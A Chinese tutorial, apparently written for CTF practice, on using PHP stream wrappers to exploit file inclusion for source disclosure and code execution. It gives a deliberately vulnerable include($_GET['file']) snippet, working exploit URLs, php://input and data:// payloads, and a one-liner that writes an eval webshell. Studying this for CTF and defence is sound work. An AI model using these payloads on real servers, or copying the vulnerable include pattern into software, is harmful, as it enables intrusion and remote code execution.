php伪协议实现命令执行的七种姿势
文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file 。
首先归纳下常见的文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file,计划对文件包含漏洞与php封装协议的利用方法进行总结,本篇先总结下一些封装协议,涉及的相关协议:file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://,后续再对每个文件包含函数进一步进行探讨。
环境概要:
PHP.ini:
allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。
allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。
为了能够尽可能的列举所有情况本次测试使用的PHP版本为>=5.2 具体为5.2,5.3,5.5,7.0;PHP版本<=5.2 可以使用%00进行截断。
0×01 是否截断问题:
本篇由以下这个简单的例子进行探讨,首先看如下两种文件包含情况。
情况一:不需要截断:
http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt
<?php
include($_GET['file'])
?>
情况二:需要截断:
在php版本<=5.2中进行测试是可以使用%00截断的。
http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt%00
<?php
include($_GET['file'].’.php’)
?>
0×02 allow_url_fopen与allow_url_include是否开启的问题:
【file://协议】
PHP.ini:
file:// 协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
参考自:http://php.net/manual/zh/wrappers.file.php
使用方法:
file:// [文件的绝对路径和文件名]
http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt
【php://协议】
条件:
不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
参考自:http://php.net/manual/zh/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-descriptioq
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
PHP.ini:
php://filter在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
测试现象:
http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
PHP.ini:
allow_url_fopen :off/on
allow_url_include:on
测试现象:
http://127.0.0.1/cmd.php?file=php://input
[POST DATA] <?php phpinfo()?>
也可以POST如下内容生成一句话: <?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?>
【zip://, bzip2://, zlib://协议】
PHP.ini:
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
参考自:http://php.net/manual/zh/wrappers.compression.php
【zip://协议】
使用方法:
zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
测试现象:
http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt
先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。
【bzip2://协议】
使用方法:
compress.bzip2://file.bz2
测试现象:
http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg
【zlib://协议】
使用方法:
compress.zlib://file.gz
测试现象:
http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg
【data://协议】
经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件
PHP.ini:
data://协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on
参考自:http://php.net/manual/zh/wrappers.data.php, 官方文档上allow_url_fopen应为yes。
测试现象:
http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
也可以:
http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
0×03 常规小结:
PHP封装协议在CTF蛮常见的,是经常会遇到的出题点,如下便是对本篇涉及的封装协议进行的总结,期待小伙伴的交流和补充。
php伪协议实现命令执行的七种姿势相关推荐
- php伪协议实现命令执行,任意文件读取
参考链接:PHP伪协议总结 - SegmentFault 思否 目录 1.file://协议 条件: 作用: 说明: 用法 示例: 2.php://协议 条件 作用: 说明 php://filter使 ...
- find命令的「七种武器」
Linux find命令用来在指定目录下查找文件. 任何位于参数之前的字符串会被作为将要查找的目录. 通过find命令,我们可以方便的操作Linux下的各种目录和文件信息,是Linux使用者常用的命令 ...
- Windows远程文件下载执行的15种姿势
当我们通过Web渗透获取了一个Shell,而且目标主机是Windows,我们该怎么去下载后门文件到目标主机上执行呢? 一般来说,实现Windows文件下载执行的方式不外乎以下几种方式.第一种,远程下载 ...
- 命令执行(ctfshow)
文章目录 介绍 PHP命令执行的参数 ${php代码} assert preg_replace() create_function() 介绍 构造一些payload 实现后门的搭建 array_map ...
- LFI(本地文件包含)、RFI(远程文件包含)、PHP封装协议(伪协议)安全问题学习
友情链接:https://www.cnblogs.com/LittleHann/p/3665062.html 目录 一.文件包含的基本概念 1.要想成功利用文件包含漏洞,需要满足下面的条件 (1)in ...
- 【存储知识学习】第八章-Fibre Channel协议-8.1 FC网络和8.2FC协议中七种端口类型-《大话存储》阅读笔记
8.1FC网络 Fibre Channel也就是网状通道,简称FC.也可以称为FC协议,FC网络.FC互联 注意: Fibre Channel不是Fiber Channel,后者是光纤通道与网状通道没 ...
- 命令执行漏洞-命令执行-漏洞位点- 代码注入-漏洞利用-联合执行-Bypass(空格,关键字过滤,变量绕过)-例题两道-actf2020exec-GXYCTF2019 Ping Ping Ping
命令执行 命令执行是一种攻击,其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令.当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数. 比如PHP中的system,e ...
- CTF之萌新web学习(命令执行2)
命令执行2 命令执行无回显情况 可控字符串长度限制getshell 15个字符 7个字符 4或5个字符 无字母数字getshell 异或运算 取反 自增 进行实验测试 命令执行无回显情况 判断方法 使 ...
- URI Scheme注册伪协议实现远程命令执行
Windows配置注册表注册伪协议 1.新建伪协议项 WIN+R 输入regedit 打开注册表,在注册表HKEY_CLASSES_ROOT键中新建一个项,项的名字就是你伪协议的名字,例如我注册一个c ...
最新文章
- linux solrcloud zookeeper分布式集群部署
- 如何在 ASP.NET Core 中为同一接口配置不同的实现
- JDK 12的String :: transform方法的简要但复杂的历史
- 标准化设计解决方案 - 标记语言和样式手册 表单
- 无法删除oracle用户的问题
- 【图像处理】基于matlab GUI数字图像处理【含Matlab源码 652期】
- 计算机性能在线测评,电脑性能在线测试
- 在北京买车可以上外地牌照吗
- mysql经纬度 微信_微信获取用户的经纬度
- xp系统进不去2008服务器共享,xp系统设置访问Server 2008R2的共享不输入密码的方法...
- Filter过滤器及其作用
- IMX6ULL与IMX6UL异同(主要是优化了其成本:安全功能减低,优化功耗EMC SIM模块删除等与但和I.MX6UltraLite芯片是PIN-2-PIN兼容的)
- 应用在电视触摸屏中的十四通道智能触摸芯片
- 高手支招 ASP+Access的安全隐患及对策(转)
- 免费无账号直接使用openAI的chatGPT
- 微软发布文件恢复程序,超好用(附下载地址)
- 用powerstrip调笔记本的色温
- win7华硕电脑关闭触控板(亲测有效)
- 3168ngw网卡_无线+千兆有线双网卡!影驰B360 GAMER评测:千元内最具性价比的RGB主板...
- union 的概念及在嵌入式编程中的应用